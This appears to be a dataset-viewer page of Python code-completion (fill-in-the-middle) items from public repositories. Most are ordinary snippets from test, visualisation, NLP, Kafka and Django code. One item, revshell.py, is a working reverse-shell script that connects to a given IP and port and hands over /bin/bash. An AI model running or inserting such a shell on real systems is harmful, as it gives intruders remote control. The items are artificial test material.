# Copyright 2015-2021 Rahul Verma
# Website: www.RahulVerma.net
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may ob... | code_fim | hard | {
"lang": "python",
"repo": "amiablea2/arjuna",
"path": "/arjuna/tpi/engine/testwise.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> @property
def current_test_node_id(self):
return self.__test_node_id
@current_test_node_id.setter
def current_test_node_id(self, node_id):
self.__test_node_id = node_id
@property
def images(self):
try:
return tuple(self.__images[threading.curre... | code_fim | hard | {
"lang": "python",
"repo": "amiablea2/arjuna",
"path": "/arjuna/tpi/engine/testwise.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> def as_report_html(self, *, include_images=True, include_network=True):
if (not include_images) and (not include_network):
return None
html = '<div class="image">'
if include_images:
html += self._get_images_html()
if include_network:
... | code_fim | hard | {
"lang": "python",
"repo": "amiablea2/arjuna",
"path": "/arjuna/tpi/engine/testwise.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def test_stationfile_reader(station_file):
lats, lons, llproj = readLLFromStationFile(station_file)
assert len(lats) == 8
def test_forceNDArray():
assert np.all(np.array([1, 2, 3]) == forceNDArray([1, 2, 3]))
assert np.all(np.array([1, 2, 3]) == forceNDArray((1, 2, 3)))
assert force... | code_fim | hard | {
"lang": "python",
"repo": "leiyangleon/RAiDER",
"path": "/test/test_llreader.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: leiyangleon/RAiDER path: /test/test_llreader.py
import os
import pytest
import numpy as np
import pandas as pd
from argparse import ArgumentParser
from test import GEOM_DIR, TEST_DIR
import RAiDER.runProgram
from RAiDER.utilFcns import gdal_open
from RAiDER.llreader import (
readLL,
... | code_fim | hard | {
"lang": "python",
"repo": "leiyangleon/RAiDER",
"path": "/test/test_llreader.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> titles = []
dates = []
descriptions = []
for line in load_file()['articles']:
titles.append(line['title'])
dates.append(line['publishedAt'])
descriptions.append(line['description'])
# print({'titles':titles,'desc':descriptions, 'dates':dates})
df = pd.DataFr... | code_fim | hard | {
"lang": "python",
"repo": "CoderPaulK/news_nlp",
"path": "/nlp_news.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: CoderPaulK/news_nlp path: /nlp_news.py
import pprint
import requests
import pickle
import pandas as pd
import spacy
from sklearn.neighbors import NearestNeighbors
from tqdm import tqdm
from sklearn.cluster import DBSCAN
from sklearn.datasets.samples_generator import make_blobs
import numpy as np
... | code_fim | hard | {
"lang": "python",
"repo": "CoderPaulK/news_nlp",
"path": "/nlp_news.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Convert the response to JSON format and pretty print it
data = response.json()
with open('output.pickle', 'wb') as w:
pickle.dump(data, w)
def load_file():
with open('output.pickle', 'rb') as r:
articles = pickle.load(r)
return articles
def make_df():
titles = [... | code_fim | hard | {
"lang": "python",
"repo": "CoderPaulK/news_nlp",
"path": "/nlp_news.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: agustinhenze/mibs.snmplabs.com path: /pysnmp/Nortel-MsCarrier-MscPassport-CircuitEmulationServiceMIB.py
36, 2, 1, 119, 11, 1, 5), Link()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mscAal1CesInterfaceName.setStatus('mandatory')
mscAal1CesPartialFill = MibTableColumn((1, 3, 6, 1, 4, 1, 56... | code_fim | hard | {
"lang": "python",
"repo": "agustinhenze/mibs.snmplabs.com",
"path": "/pysnmp/Nortel-MsCarrier-MscPassport-CircuitEmulationServiceMIB.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>ableRow((1, 3, 6, 1, 4, 1, 562, 36, 2, 1, 119, 4, 11, 1), ).setIndexNames((0, "Nortel-MsCarrier-MscPassport-CircuitEmulationServiceMIB", "mscAal1CesIndex"), (0, "Nortel-MsCarrier-MscPassport-CircuitEmulationServiceMIB", "mscAal1CesPepIndex"))
if mibBuilder.loadTexts: mscAal1CesPepEpOperEntry.setStatus('ma... | code_fim | hard | {
"lang": "python",
"repo": "agustinhenze/mibs.snmplabs.com",
"path": "/pysnmp/Nortel-MsCarrier-MscPassport-CircuitEmulationServiceMIB.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: mliu7/coltrane-blog path: /coltrane/admin.py
from django import forms
from django.contrib import admin
from coltrane.models import Category, Entry, Link
class CategoryAdmin(admin.ModelAdmin):
prepopulated_fields = { 'slug': ['title'] }
<|fim_suffix|> prepopulated_fields = { 'slug': ['t... | code_fim | hard | {
"lang": "python",
"repo": "mliu7/coltrane-blog",
"path": "/coltrane/admin.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>admin.site.register(Entry, EntryAdmin)
class LinkAdmin(admin.ModelAdmin):
prepopulated_fields = { 'slug': ['title'] }
admin.site.register(Link, LinkAdmin)<|fim_prefix|># repo: mliu7/coltrane-blog path: /coltrane/admin.py
from django import forms
from django.contrib import admin
from coltrane.... | code_fim | hard | {
"lang": "python",
"repo": "mliu7/coltrane-blog",
"path": "/coltrane/admin.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> import argparse
description = 'How to use the second generation ImplicitPlaneWidget2 to interactively' \
' define the clipping plane for a polydata.'
epilogue = '''
If no arguments are specified, a vtkSphereSource generates the polydata.
By specifying a .vtp file, the... | code_fim | hard | {
"lang": "python",
"repo": "Kitware/vtk-examples",
"path": "/src/Python/Widgets/ImplicitPlaneWidget2.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> def __call__(self, caller, ev):
rep = caller.GetRepresentation()
rep.GetPlane(self.plane)
def get_program_parameters():
import argparse
description = 'How to use the second generation ImplicitPlaneWidget2 to interactively' \
' define the clipping plane for a... | code_fim | hard | {
"lang": "python",
"repo": "Kitware/vtk-examples",
"path": "/src/Python/Widgets/ImplicitPlaneWidget2.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Kitware/vtk-examples path: /src/Python/Widgets/ImplicitPlaneWidget2.py
#!/usr/bin/env python3
from pathlib import Path
# You may need to uncomment one or more of the following imports.
# If vtkRenderWindow is used and you want to use OpenGL,
# you also need the vtkRenderingOpenGL2 module.
# I... | code_fim | hard | {
"lang": "python",
"repo": "Kitware/vtk-examples",
"path": "/src/Python/Widgets/ImplicitPlaneWidget2.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: f0rdream/SkyRead path: /backend/spider/douban_user/to_test.py
# coding:utf-8
from selenium import webdriver
import time
from bs4 import BeautifulSoup as bs
def get_user_book(url):
"""
通过评论的href得到这个用户最近读过的30本书籍的页面
:param url:
:return:
"""
firefox_profile = webdriver.Firefo... | code_fim | medium | {
"lang": "python",
"repo": "f0rdream/SkyRead",
"path": "/backend/spider/douban_user/to_test.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
通过username,href得到这个用户最近读过的30本书籍
:param username:
:param href:
:return:
"""
html = get_user_book(href)
soup = bs(html,'lxml')
ul = soup.find_all(attrs={'class':'list-view'})[0]
li = ul.find_all('li')
user = href.split('/')[-2]
item = ''
for i in range... | code_fim | medium | {
"lang": "python",
"repo": "f0rdream/SkyRead",
"path": "/backend/spider/douban_user/to_test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> model_name = "cifar"
model_data = {
"model_name": model_name,
"url": "/opt/ml/models/cifar"
}
code_load, res = make_load_model_request(json.dumps(model_data))
assert code_load == 200
assert "Successfully loaded model {}".format(model_name) in res
code_load2, re... | code_fim | hard | {
"lang": "python",
"repo": "aws/sagemaker-tensorflow-serving-container",
"path": "/test/integration/local/test_multi_model_endpoint.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: aws/sagemaker-tensorflow-serving-container path: /test/integration/local/test_multi_model_endpoint.py
# Copyright 2019-2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance... | code_fim | hard | {
"lang": "python",
"repo": "aws/sagemaker-tensorflow-serving-container",
"path": "/test/integration/local/test_multi_model_endpoint.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> # unloads the given model/version, no-op if not loaded
model_name = "non-existing-model"
code, res = make_unload_model_request(model_name)
assert code == 404
assert "Model {} is not loaded yet".format(model_name) in res
@pytest.mark.skip_gpu
def test_delete_model():
model_name = ... | code_fim | hard | {
"lang": "python",
"repo": "aws/sagemaker-tensorflow-serving-container",
"path": "/test/integration/local/test_multi_model_endpoint.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: avirois/Knowledge4S path: /blueprints/manageUser.py
from flask import Blueprint, render_template, request, session, redirect, current_app, Markup, jsonify
import sqlite3
import os
from static.classes.User import User
from static.classes.Admin import Admin
user_manage_blueprint = Blueprint("manag... | code_fim | hard | {
"lang": "python",
"repo": "avirois/Knowledge4S",
"path": "/blueprints/manageUser.py",
"mode": "psm",
"license": "WTFPL",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Connect to database
con = sqlite3.connect(current_app.config['DB_NAME'])
# Check if user exists in Users table
sqlQueryCheckExist = "SELECT * FROM Users WHERE UserName = (?)"
sqlRes = con.execute(sqlQueryCheckExist, (user,))
record = sqlRes.fetchone()
# If user exists g... | code_fim | hard | {
"lang": "python",
"repo": "avirois/Knowledge4S",
"path": "/blueprints/manageUser.py",
"mode": "spm",
"license": "WTFPL",
"source": "the-stack-v2"
} |
<|fim_suffix|> loss = np.sum(np.power(h - self.y, 2)) / 2 + np.sum(np.power(self.theta, 2)) * self._lambda / 2
# print('Current loss = ', loss)
if self.losses_log:
self.losses.append(loss)
return loss
def plot_losses(self):
plt.plot([i for i in range(len(self.loss... | code_fim | hard | {
"lang": "python",
"repo": "zixinw/simple-recommender",
"path": "/rs/model/cf.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: zixinw/simple-recommender path: /rs/model/cf.py
import numpy as np
import matplotlib.pyplot as plt
class CFModel(object):
def __init__(self,
theta=None,
latent_dim=1,
learning_rate=.05,
lambda_weight=.0001,
... | code_fim | hard | {
"lang": "python",
"repo": "zixinw/simple-recommender",
"path": "/rs/model/cf.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> request_id = int(uuid.uuid4())
keyword = 'Trump'
start_date = '2020-01-25'
end_date = '2020-02-24'
request = {'type': 'request', 'request_id': request_id, 'keyword': keyword, 'start_date': start_date, 'end_date': end_date }
print('request ', request)
# send request
future... | code_fim | hard | {
"lang": "python",
"repo": "CUTLER-H2020/Front-end-v2",
"path": "/cutler-lite/resources/phyton/kafkatopics.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: CUTLER-H2020/Front-end-v2 path: /cutler-lite/resources/phyton/kafkatopics.py
#!/usr/bin/env python3
#./news_crawler_kafka_interface_test [ SERVER (uniko / dell) ]
import json
import sys
import uuid
from kafka import KafkaProducer, KafkaConsumer, TopicPartition
from kafka.errors import KafkaErro... | code_fim | hard | {
"lang": "python",
"repo": "CUTLER-H2020/Front-end-v2",
"path": "/cutler-lite/resources/phyton/kafkatopics.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> request = {'type': 'request', 'request_id': request_id, 'keyword': keyword, 'start_date': start_date, 'end_date': end_date }
print('request ', request)
# send request
future = producer.send(kafka_topic, value=request)
# Block for 'synchronous' sends
try:
record_metadata =... | code_fim | hard | {
"lang": "python",
"repo": "CUTLER-H2020/Front-end-v2",
"path": "/cutler-lite/resources/phyton/kafkatopics.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Mokona/python-p4lib path: /test/mocked/p4lib_class_test.py
import unittest
import p4lib
from mock23 import Mock
class P4LibTestCase(unittest.TestCase):
<|fim_suffix|> p4lib._run = Mock(spec='p4lib._run', return_value=("", "", 0))
def test_initilization(self):
p4 = p4lib.P4()... | code_fim | easy | {
"lang": "python",
"repo": "Mokona/python-p4lib",
"path": "/test/mocked/p4lib_class_test.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> p4lib._run = Mock(spec='p4lib._run', return_value=("", "", 0))
def test_initilization(self):
p4 = p4lib.P4()
self.assertEqual('p4', p4.p4)<|fim_prefix|># repo: Mokona/python-p4lib path: /test/mocked/p4lib_class_test.py
import unittest
import p4lib
from mock23 import Mock
cl... | code_fim | easy | {
"lang": "python",
"repo": "Mokona/python-p4lib",
"path": "/test/mocked/p4lib_class_test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: singulart/wikiwalks path: /recursive_categories.py
import wikipediaapi
import os
import json
import progressbar
CATEGORY = 'Category:Feminist artists'
#CATEGORY = 'Category:Contemporary artists'
def traverse_categories_tree(categorymembers, level=0, max_level=100):
for c in categorymembers... | code_fim | hard | {
"lang": "python",
"repo": "singulart/wikiwalks",
"path": "/recursive_categories.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> if os.path.exists('categories.json'):
with open('categories.json', 'r') as json_file:
try:
return json.load(json_file)['categories']
except:
return []
return []
unique_artists = set()
processed_categories = load_categories()
if p... | code_fim | medium | {
"lang": "python",
"repo": "singulart/wikiwalks",
"path": "/recursive_categories.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>def load_categories():
if os.path.exists('categories.json'):
with open('categories.json', 'r') as json_file:
try:
return json.load(json_file)['categories']
except:
return []
return []
unique_artists = set()
processed_categories =... | code_fim | medium | {
"lang": "python",
"repo": "singulart/wikiwalks",
"path": "/recursive_categories.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: shad0w008/selenium path: /revshell.py
# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/bash"
def usage(name):
print 'python reverse connector'
print 'usage: %s <ip_ad... | code_fim | medium | {
"lang": "python",
"repo": "shad0w008/selenium",
"path": "/revshell.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os... | code_fim | medium | {
"lang": "python",
"repo": "shad0w008/selenium",
"path": "/revshell.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ThomasLecat/udacity-continuous-control path: /ccontrol/config.py
from ccontrol.types import NumberOfSteps
class DDPGConfig:
# Sampling
SKIP_FRAMES: int = 1
# Ornstein-Uhlenbeck noise generator
ADD_NOISE: bool = True
MU: float = 0.0
THETA: float = 0.15
SIGMA: float =... | code_fim | hard | {
"lang": "python",
"repo": "ThomasLecat/udacity-continuous-control",
"path": "/ccontrol/config.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def __setattr__(self, key, value):
raise AttributeError("Config objets are immutable")<|fim_prefix|># repo: ThomasLecat/udacity-continuous-control path: /ccontrol/config.py
from ccontrol.types import NumberOfSteps
class DDPGConfig:
# Sampling
SKIP_FRAMES: int = 1
# Ornstein-Uhl... | code_fim | hard | {
"lang": "python",
"repo": "ThomasLecat/udacity-continuous-control",
"path": "/ccontrol/config.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Logging
LOG_EVERY: NumberOfSteps = 10
def __setattr__(self, key, value):
raise AttributeError("Config objets are immutable")<|fim_prefix|># repo: ThomasLecat/udacity-continuous-control path: /ccontrol/config.py
from ccontrol.types import NumberOfSteps
class DDPGConfig:
# Samp... | code_fim | hard | {
"lang": "python",
"repo": "ThomasLecat/udacity-continuous-control",
"path": "/ccontrol/config.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.